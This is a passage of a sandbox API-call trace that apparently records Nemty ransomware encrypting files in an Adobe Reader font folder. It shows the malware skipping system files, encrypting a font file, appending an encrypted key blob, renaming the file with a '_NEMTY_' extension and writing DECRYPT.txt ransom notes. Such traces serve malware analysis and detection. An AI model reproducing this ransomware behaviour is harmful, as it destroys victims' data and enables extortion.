lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.417] Sleep (dwMilliseconds=0x5) [0214.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x337116b0, dwHighDateTime=0x1d561e8)) [0214.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x337116b0, dwHighDateTime=0x1d561e8)) [0214.420] GetLastError () returned 0x0 [0214.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.420] GetLastError () returned 0x0 [0214.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.420] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.420] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.420] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.420] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="3ItmfVibaP/PZD6A6VXUtOh8nLNaHJ9WjbfANV2J/mpFjNw/xLNWsMVb6Ow4cVHk\r\nbUgICmaXnsNXzXyIy0FW/T6iPdRpWHGn6VzHL+iU3JHMj+mjwX8hLQbWZd9YlJ2n\r\nz+xMG8fmWU2GahpKI/Aw7AjaQYRdslo+vMgf7PGhf2lAWwaUwcF7tL4J8IJ6iHiQ\r\nQMwsJfTqgbQlQ5enGk63LqVYcyhVTRflxWgLcCYstpFf7gaQJB+H+mY8JrIRbr2g\r\nxZIDcP1eMKEJIzSVAhYy5EY8h9IChCEVf21X8Nv4/NDLC30bTjiFk3F60O35XLZe\r\nnBOouC44HfW+km/bScmNiA==\r\n", pcchString=0x653e91c) returned 1 [0214.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.421] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=94360) returned 1 [0214.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17090) returned 0x6352c48 [0214.421] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.421] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x17090, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x17090, lpOverlapped=0x0) returned 1 [0214.429] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.429] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x17090, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x17090, lpOverlapped=0x0) returned 1 [0214.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.429] SetFilePointer (in: hFile=0x254, lDistanceToMove=94360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17098 [0214.429] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.429] CloseHandle (hObject=0x254) returned 1 [0214.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.430] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-regular.otf._nemty_kgobjgd_")) returned 1 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.431] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2=".") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="..") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="...") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="windows") returned -1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="$RECYCLE.BIN") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="rsa") returned -1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="NTDETECT.COM") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="ntldr") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="MSDOS.SYS") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="IO.SYS") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="boot.ini") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="boot.ini") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="AUTOEXEC.BAT") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="ntuser.dat") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="desktop.ini") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="CONFIG.SYS") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="RECYCLER") returned -1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="BOOTSECT.BAK") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="bootmgr") returned 1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="programdata") returned -1 [0214.431] lstrcmpiW (lpString1="PFM", lpString2="appdata") returned 1 [0214.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PFM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PFM", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PFM", lpUsedDefaultChar=0x0) returned 3 [0214.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PFM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PFM", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PFM", lpUsedDefaultChar=0x0) returned 3 [0214.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94130 [0214.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0214.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0214.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941b8 [0214.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94260 [0214.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0214.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94260 | out: hHeap=0x4f90000) returned 1 [0214.432] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.432] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0214.433] CloseHandle (hObject=0x254) returned 1 [0214.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0214.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0214.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941b8 [0214.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94240 [0214.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0214.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942c8 [0214.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0214.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0214.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.434] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.434] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0214.435] CloseHandle (hObject=0x254) returned 1 [0214.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0214.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0214.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94240 [0214.436] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x337116b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x337116b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0214.436] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0214.436] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x337116b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x337116b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0214.436] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0214.436] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0214.436] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2=".") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="..") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="...") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="windows") returned -1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="$RECYCLE.BIN") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="rsa") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="NTDETECT.COM") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="ntldr") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="MSDOS.SYS") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="IO.SYS") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="boot.ini") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="boot.ini") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="AUTOEXEC.BAT") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="ntuser.dat") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="desktop.ini") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="CONFIG.SYS") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="RECYCLER") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="BOOTSECT.BAK") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="bootmgr") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="programdata") returned 1 [0214.436] lstrcmpiW (lpString1="SY______.PFM", lpString2="appdata") returned 1 [0214.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFM", lpUsedDefaultChar=0x0) returned 12 [0214.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFM", lpUsedDefaultChar=0x0) returned 12 [0214.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFM", lpUsedDefaultChar=0x0) returned 12 [0214.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFM", lpUsedDefaultChar=0x0) returned 12 [0214.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0214.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.437] Sleep (dwMilliseconds=0x5) [0214.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3375d970, dwHighDateTime=0x1d561e8)) [0214.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: 